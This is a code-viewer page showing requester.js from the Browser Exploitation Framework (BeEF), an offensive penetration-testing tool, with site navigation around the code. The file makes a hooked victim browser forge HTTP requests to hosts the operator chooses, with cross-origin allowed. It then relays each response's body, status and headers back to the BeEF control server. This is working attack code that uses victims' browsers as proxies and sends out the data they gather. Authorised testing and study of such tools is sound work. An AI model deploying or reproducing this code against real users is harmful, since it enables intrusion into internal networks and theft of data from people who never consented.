Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/net/requester.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* request object structure:
9
* + method: {String} HTTP method to use (GET or POST).
10
* + host: {String} hostname
11
* + query_string: {String} The query string is a part of the URL which is passed to the program.
12
* + uri: {String} The URI syntax consists of a URI scheme name.
13
* + headers: {Array} contain the operating parameters of the HTTP request.
14
* @namespace beef.net.requester
15
*/
16
beef.net.requester = {
17
18
handler: "requester",
19
/**
20
*
21
* @param {array} requests_array
22
*/
23
send: function(requests_array) {
24
for(var i=0; i<requests_array.length; i++){
25
request = requests_array[i];
26
if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
27
beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
28
beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossOrigin, request.id,
29
function(res, requestid) { beef.net.send('/requester', requestid, {
30
response_data: res.response_body,
31
response_status_code: res.status_code,
32
response_status_text: res.status_text,
33
response_port_status: res.port_status,
34
response_headers: res.headers});
35
}
36
);
37
}
38
}
39
};
40
41
beef.regCmp('beef.net.requester');
42
43